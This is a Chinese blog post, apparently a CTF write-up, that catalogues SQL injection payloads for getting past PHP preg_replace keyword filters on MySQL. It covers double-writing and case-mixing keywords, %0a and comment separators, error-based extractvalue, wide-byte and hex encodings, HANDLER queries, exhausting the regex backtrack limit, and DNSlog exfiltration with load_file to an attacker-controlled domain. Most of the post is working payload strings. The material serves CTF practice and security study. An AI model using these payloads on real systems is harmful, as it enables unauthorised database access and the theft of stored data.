Sql过滤

挑了一个过滤最多的题目实验

$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select

这里就单纯的使用了preg_replace(),没有使用循环过滤,可以考虑双写过滤(这里对select过滤了两次,所以得写三次),但是如果循环得过滤,双写/三写就会失效

  • 大小写+%0a+/**/+注释符绕过
0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,(SeLeCt/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema='ctftraining'),4/*%0a*/or/*%0a*/'1'='1
  • 大小写+%0a+!!/~~+注释符绕过

and/or后面加上偶数个!!/~~可以替换空格

0'%0aununionion%0aselselselectectect%0a2,(selselselectectect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='ctftraining'),4%0aor!!~~'1'='1
  • 双写+%0a+/**/+注释符绕过
0'/*%0a*/ununionion/*%0a*/selselselectectect/*%0a*/2,(selselselectectect/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema='ctftraining'),4/*%0a*/or/*%0a*/'1'='1
  • 双写+%0a+注释符绕过
0'%0aununionion%0aselselselectectect%0a2,(selselselectectect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='ctftraining'),4%0aor%0a'1'='1

%09,%0b,%0c,%a0类似

  • 大小写+报错注入+多层括号嵌套+注释符绕过

因为报错注入使用的空格较少,所以可以配合多层括号嵌套进行绕过,但是如果preg_replace()函数也对括号进行了过滤的话,这个方法就不能使用了。而且必须有返回报错信息。

1'and(extractvalue(1,concat('~',(SElect(group_concat(schema_name))from(information_schema.schemata)))))and'1'='1
  • 三写+报错注入+多层括号嵌套+注释符绕过
1'and(extractvalue(1,concat('~',(selselselectectect(group_concat(schema_name))from(information_schema.schemata)))))and'1'='1

如果and/or被过滤

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)

在刚才的基础上加上and/or过滤

  • &&+%0a+报错注入+大小写+注释符绕过
1'%0a&&%0aextractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a&&%0a'1'='1
  • 双写+%0a+报错注入+大小写+注释符绕过
1'%0aaandnd%0aextractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0aaandnd%0a'1'='1
  • =替换and+%0a+报错注入+大小写+注释符绕过
1'=extractvalue(1,concat(0x7e,(SeleCt%agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a=%0a'1'='1
  • ^替换and+%0a+报错注入+大小写+注释符绕过
1'^extractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a^%0a'1'='1

如果括号被过滤

可以使用order by大小比较盲注,根据回显猜解目标数据的值

  • order by盲注+and/or绕过++%0a关键字大小写绕过+注释符绕过
'%0a||%0a1%0aUniOn%0aSeleCt%0a1,2,'(猜测值)'%0aOrder%0aby%0a3%0a||%0a'1'='1

逗号被过滤

  • 使用from+%0a+and/or绕过+关键字大小写绕过+注释符绕过
1'%0aaandnd%0asubstring((SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)%0afrom%0a1%0afoorr%0a1)='(猜测值)'%0aaandnd%0a'1'='1
  • 使用join+%0a+and/or绕过+关键字大小写绕过+注释符绕过
0'%0aUniOn%0aSeleCt%0a*%0afrom%0a(SeleCt%0a1)a%0ajoin%0a(SeleCt%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata)b%0aaandnd%0a'1'='1

单双引号被过滤

  1. 需要跳出单引号的情况:宽字节注入

%df+and/or绕过+关键字大小写绕过+注释符绕过

1%df'%0aUnioN%0aSeleCt%0a1,2,group_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata%0aaandnd%0a%df'1%df'=%df'1
  1. 不需要跳出单引号的情况:字符串用十六进制表示,也可以通过进制转换函数转成其它进制

十六进制+and/or绕过+关键字大小写绕过+注释符绕过(数字型举例)

1%0aUnioN%0aSeleCt%0a1,2,group_concat(table_name)%0afrom%0ainfooermation_schema.tables%0awhere%0atable_schema=0x637466747261696e696e67%0aaandnd%0a

数字被过滤
屏幕截图
数字过滤+and/or过滤+关键字大小写绕过+注释符绕过

true'%0aUnion%0aSeleCt%0atrue,true+true,group_concat(schema_name)%0afrom%0ainformation_schema.schemata

关键函数被过滤

  1. 如果只是单纯的使用preg_replace()对关键函数进行过滤,那么我们可以直接通过双写的方式绕过

双写+%0a+注释符绕过

-1'%0aununionion%0aselselselectectect%0a1,2,grogroup_concatup_concat(schema_name)%0afrom%0ainformation_schema.schemata%0anad%0a'1'='1

大小写+%0a+注释符绕过

-1'%0aUniOn%0aSeleCt%0a1,2,GrOup_ConCat(schema_name)%0afrom%0ainformation_schema.schemata^'1'='1
  1. 使用同义函数/同义语句
  • 如果if()函数被过滤,可以用case when expr1 else expr2 then expr3 end替代
1' and case when substring((select group_concat(schema_name) from information_schema.schemata),{0},1)='{1}' else sleep(n) then 0 end and '1'='1
  • 如果substring()/substr()函数被过滤,可以用mid()/left()/right()函数替代
1' and mid((select group_concat(schema_name) from information_schema.schemata),{0},1)='{1}' and '1'='1

1' and left((select group_concat(schema_name) from information_schema.schemata ),{0})='{1}' and '1'='1

Trick

handler语句替代select查询

  • handler语句使我们能够一行一行的浏览一个表中的数据。
  • handler语句只适用于mysql

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]


HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

举例:

handler challenges open as test; //指定数据表进行载入并将返回句柄重命名
handler test read first; //读取指定表/句柄的首行数据
handler test read next; //读取指定表/句柄的下一行数据

...
handler test close; //关闭句柄

通过构造一个不存在的函数,获取当前数据库的名称

不存在函数+%0a+大小写绕过+注释符绕过

0'/*%0a*/UniOn%0aSeleCt%0a1,ab(),2^'1'='1

屏幕截图
PHPunion.+?select/ig绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。

所以我们可以在unionselect中间填充大量的垃圾数据就可以绕过正则

payload:

union/*100万个a,充当垃圾数据*/select即可绕过正则判断

无列名盲注

这里的无列名盲注主要是通过select进行盲注。

payload:

(select 'admin','admin')>(select * from users limit 1)

要注意的是,前后的列数一定要相同。

Update注入重复字段赋值

语法结构:

UPDATA table_name set field1=new_value,field1=new_value2 [where]

field1字段的内容为new_value2,利用这个特性进行注入:

UPDATE table_name set field1=new_value,field1=(select group_concat(schema_name) from information_schema.schemata) [where]

Limit之后的字段数判断

我们都知道若注入点在where子语句之后,判断字段数可以用order by或group by来进行判断,而limit后可以利用 into @,@ 判断字段数,其中@为mysql临时变量。

select * from users where username like 'a%' limit 1,1 into @,@

Dnslog带出数据

t01a278167ad3a008db
如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。

1 union select 1,2,load_file(CONCAT('\\',(SELECT group_concat(schema_name) 
FROM information_schema.schemata),'.域名'))

需要注意的是:因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。

posted @ 2020-07-11 13:14  zesiar0  阅读(444)  评论(0编辑  收藏  举报